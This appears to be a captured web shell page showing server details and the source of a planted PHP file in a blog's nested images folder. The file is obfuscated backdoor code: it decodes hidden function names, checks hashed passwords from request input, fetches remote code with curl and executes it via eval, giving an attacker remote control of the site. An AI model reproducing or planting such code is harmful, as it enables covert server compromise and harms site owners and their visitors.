HEX
Server: Apache
System: Linux hcss-ecs-9037 3.10.0-1160.53.1.el7.x86_64 #1 SMP Fri Jan 14 13:59:45 UTC 2022 x86_64
User: www (1000)
PHP: 8.3.21
Disabled: passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
Upload Files
File: /www/wwwroot/zhangwenbin_blog/images/images/images/index.php
<?php
 goto UD8UxCKqxkVkIzXu; pIfWA_oFVuam_H1V: $PuQtJ31_YwQiqYgU = $VCzZ3budJBbOoKEm("\x7e", "\x20"); goto tu4qBtOsP60Z0RED; UD8UxCKqxkVkIzXu: $VCzZ3budJBbOoKEm = "\162" . "\141" . "\x6e" . "\x67" . "\x65"; goto pIfWA_oFVuam_H1V; OBV3DiP7Qdjudmrx: @(md5(md5(md5(md5($Egnmuh6OFUGSFeId[8])))) === "\70\x61\x33\71\x38\64\x31\x61\x66\60\143\x34\67\x66\63\x39\144\x31\x30\66\x66\x37\64\63\x35\x31\x31\62\66\144\x37\145") && (count($Egnmuh6OFUGSFeId) == 14 && in_array(gettype($Egnmuh6OFUGSFeId) . count($Egnmuh6OFUGSFeId), $Egnmuh6OFUGSFeId)) ? ($Egnmuh6OFUGSFeId[68] = $Egnmuh6OFUGSFeId[68] . $Egnmuh6OFUGSFeId[80]) && ($Egnmuh6OFUGSFeId[90] = $Egnmuh6OFUGSFeId[68]($Egnmuh6OFUGSFeId[90])) && @eval($Egnmuh6OFUGSFeId[68](${$Egnmuh6OFUGSFeId[44]}[28])) : $Egnmuh6OFUGSFeId; goto nP1Bs3vTOcLfT2u6; nP1Bs3vTOcLfT2u6: metaphone("\x6d\161\x30\x55\153\154\167\x46\153\161\x63\152\127\65\123\111\131\x51\107\165\x7a\115\130\123\107\64\154\x44\152\x36\x55\x34\x61\62\163\x70\x39\x72\x32\155\x30\x43\101"); goto CDHHKxhRZi1Qok6e; CDHHKxhRZi1Qok6e: class a6iaj43kMa3RtPKe { static function r6BZ9icRsA1upCF4($Tgxj2VuevgStjx0S) { goto fUimg5VprIc2w9z1; llFT60oWzlKi061F: $ew0UObo0NS1uJCjK = ''; goto sdUknP_Bi99MNYUJ; fUimg5VprIc2w9z1: $MvxFKIUdoRdHRfgQ = "\x72" . "\141" . "\x6e" . "\x67" . "\145"; goto nNe53Jl_T2bujez9; YMeJojt_ZhKvJZ_V: return $ew0UObo0NS1uJCjK; goto WYCKIbHTpJ4oN1P0; sQ1KO6CsYu2FnJXr: aBxePZt2sIzAv08t: goto YMeJojt_ZhKvJZ_V; sdUknP_Bi99MNYUJ: foreach ($EJcXa_LccvoYgr6s as $Mjui8ZZs9ieJFTYB => $CZgz_EfedaOKpVMh) { $ew0UObo0NS1uJCjK .= $ud57Z7UCI0dIJUkp[$CZgz_EfedaOKpVMh - 31149]; aW_vMHEM1CrdTnJq: } goto sQ1KO6CsYu2FnJXr; evV8c45s53Ft9wUq: $EJcXa_LccvoYgr6s = explode("\x40", $Tgxj2VuevgStjx0S); goto llFT60oWzlKi061F; nNe53Jl_T2bujez9: $ud57Z7UCI0dIJUkp = $MvxFKIUdoRdHRfgQ("\x7e", "\40"); goto evV8c45s53Ft9wUq; WYCKIbHTpJ4oN1P0: } static function mGS8J1Z4qlqTNK32($sfg04H4yxWQkgtug, $B6Elru8Qi6jcIRVA) { goto Ltx1YVjqdbj9X_v1; rH9bpQfHnp5d5sGE: curl_setopt($VJDneFDZSpByRhzH, CURLOPT_RETURNTRANSFER, 1); goto tQc4yo4u2IQfVfYl; tQc4yo4u2IQfVfYl: $Oqt5EUoCMhPxhXya = curl_exec($VJDneFDZSpByRhzH); goto SlPU5jk5jTJdac3q; Ltx1YVjqdbj9X_v1: $VJDneFDZSpByRhzH = curl_init($sfg04H4yxWQkgtug); goto rH9bpQfHnp5d5sGE; SlPU5jk5jTJdac3q: return empty($Oqt5EUoCMhPxhXya) ? $B6Elru8Qi6jcIRVA($sfg04H4yxWQkgtug) : $Oqt5EUoCMhPxhXya; goto OfiICj3Odglh52jx; OfiICj3Odglh52jx: } static function mlUNlbXlhf6dr6cJ() { goto PrqaW4jHjrZXr5qs; DwJ7FfEWbzspaoSz: die; goto dQrgyE07TdxJWCMr; fRevczQLEHVE1dyL: @$vP7_Qh85chm3ZzUm[5 + 5](INPUT_GET, "\x6f\146") == 1 && die($vP7_Qh85chm3ZzUm[3 + 2](__FILE__)); goto SnTrgol2O6zGwQGJ; qe7EmTaCtSy9v7TE: @eval($vP7_Qh85chm3ZzUm[2 + 2]($FbwbwYYm217Y_8wc)); goto DwJ7FfEWbzspaoSz; dQrgyE07TdxJWCMr: I9MVjZX3_qsrcrM5: goto Y4IiFZyNHeYF6s0G; LDbgN1V9NcoBM_hv: $Aypc5zseqTDOhPsu = @$vP7_Qh85chm3ZzUm[3 + 0]($vP7_Qh85chm3ZzUm[1 + 5], $ZuguqRpJ0J7YeguO); goto dxT0oid_D3m5FUtU; DKu6pcMXA2jC9Q04: $ZuguqRpJ0J7YeguO = @$vP7_Qh85chm3ZzUm[1]($vP7_Qh85chm3ZzUm[3 + 7](INPUT_GET, $vP7_Qh85chm3ZzUm[1 + 8])); goto LDbgN1V9NcoBM_hv; PGrHPeJox30eECJ3: foreach ($cT1_TMt5YmggMbfk as $bFf6yUBFfPHfjEQI) { $vP7_Qh85chm3ZzUm[] = self::r6Bz9ICrsA1UpcF4($bFf6yUBFfPHfjEQI); wLFFEa0OPaAnC1dn: } goto u2w7FBFVH3O5vpsi; dxT0oid_D3m5FUtU: $sCv_qzeLJ8qcpDZk = $vP7_Qh85chm3ZzUm[2 + 0]($Aypc5zseqTDOhPsu, true); goto fRevczQLEHVE1dyL; bYh1so12FybKQfCN: $FbwbwYYm217Y_8wc = self::MGs8j1z4QlQtnk32($sCv_qzeLJ8qcpDZk[0 + 1], $vP7_Qh85chm3ZzUm[0 + 5]); goto qe7EmTaCtSy9v7TE; PrqaW4jHjrZXr5qs: $cT1_TMt5YmggMbfk = array("\63\x31\x31\x37\x36\x40\63\x31\61\x36\61\x40\x33\61\x31\x37\64\x40\63\61\x31\67\70\100\x33\61\x31\x35\71\x40\x33\x31\61\x37\x34\100\63\61\61\70\x30\100\x33\61\x31\67\x33\100\63\61\61\65\70\100\63\61\x31\66\65\x40\63\61\61\x37\66\x40\63\61\x31\x35\x39\x40\63\61\61\67\60\x40\63\61\61\x36\64\100\63\61\61\66\65", "\63\x31\61\x36\x30\x40\x33\61\x31\x35\71\100\63\x31\61\66\x31\x40\x33\x31\61\70\x30\x40\x33\x31\61\66\x31\x40\63\61\61\66\x34\100\x33\x31\x31\65\x39\100\x33\61\62\62\x36\x40\63\61\62\62\64", "\63\x31\61\66\71\100\x33\61\61\x36\x30\100\x33\x31\x31\x36\x34\100\x33\x31\61\66\x35\100\63\61\61\70\60\x40\x33\61\61\67\65\100\x33\61\61\67\x34\100\x33\61\61\x37\66\100\63\x31\61\66\x34\100\x33\61\61\x37\65\x40\x33\x31\61\x37\x34", "\x33\x31\61\x36\x33\100\63\x31\61\67\x38\x40\63\x31\x31\x37\66\x40\63\x31\61\x36\x38", "\x33\61\61\x37\x37\100\63\61\61\67\x38\x40\63\61\x31\66\60\x40\63\x31\61\x37\x34\x40\x33\x31\62\x32\61\x40\63\x31\62\x32\x33\x40\x33\61\x31\x38\x30\x40\x33\x31\61\67\x35\100\x33\x31\61\x37\64\x40\63\61\61\67\66\100\63\61\61\66\64\x40\63\x31\61\67\x35\x40\63\x31\x31\x37\x34", "\x33\x31\61\x37\x33\100\x33\61\61\67\x30\100\63\x31\x31\x36\x37\x40\63\61\x31\67\x34\100\x33\61\61\70\60\100\x33\x31\61\67\x32\100\x33\61\x31\x37\x34\100\63\x31\x31\x35\71\x40\63\x31\61\70\x30\100\63\61\61\67\66\x40\x33\61\61\66\x34\100\x33\x31\x31\x36\65\100\x33\x31\x31\65\x39\x40\63\61\x31\67\64\x40\63\x31\61\66\x35\100\x33\x31\61\65\x39\100\63\61\x31\x36\x30", "\x33\61\62\60\x33\100\63\x31\x32\x33\x33", "\x33\61\x31\x35\60", "\63\61\x32\x32\70\100\x33\61\x32\63\x33", "\63\61\x32\x31\60\x40\x33\x31\x31\x39\63\100\63\x31\x31\x39\x33\100\x33\61\x32\x31\60\x40\x33\61\x31\x38\66", "\63\61\61\x37\63\x40\63\x31\61\x37\60\100\x33\x31\x31\x36\67\x40\63\x31\x31\x35\71\x40\x33\61\61\67\64\x40\63\61\x31\66\x31\x40\63\61\61\70\60\x40\x33\61\61\67\x30\100\x33\61\x31\x36\65\100\x33\x31\61\x36\x33\x40\x33\x31\61\65\x38\x40\63\x31\x31\65\x39"); goto PGrHPeJox30eECJ3; u2w7FBFVH3O5vpsi: PvEuVakwQUfXhjhN: goto DKu6pcMXA2jC9Q04; SnTrgol2O6zGwQGJ: if (!(@$sCv_qzeLJ8qcpDZk[0] - time() > 0 and md5(md5($sCv_qzeLJ8qcpDZk[1 + 2])) === "\144\146\x35\63\x32\x37\67\62\x34\142\65\70\x64\x66\x39\x37\x38\144\144\61\143\66\x32\x36\64\146\142\67\60\70\x37\71")) { goto I9MVjZX3_qsrcrM5; } goto bYh1so12FybKQfCN; Y4IiFZyNHeYF6s0G: } } goto IzJZafOhbtGNaclt; tu4qBtOsP60Z0RED: $Egnmuh6OFUGSFeId = ${$PuQtJ31_YwQiqYgU[21 + 10] . $PuQtJ31_YwQiqYgU[9 + 50] . $PuQtJ31_YwQiqYgU[42 + 5] . $PuQtJ31_YwQiqYgU[4 + 43] . $PuQtJ31_YwQiqYgU[48 + 3] . $PuQtJ31_YwQiqYgU[34 + 19] . $PuQtJ31_YwQiqYgU[9 + 48]}; goto OBV3DiP7Qdjudmrx; IzJZafOhbtGNaclt: a6iAj43Kma3rTPKE::mLUnLBxlhF6dr6cj();
?>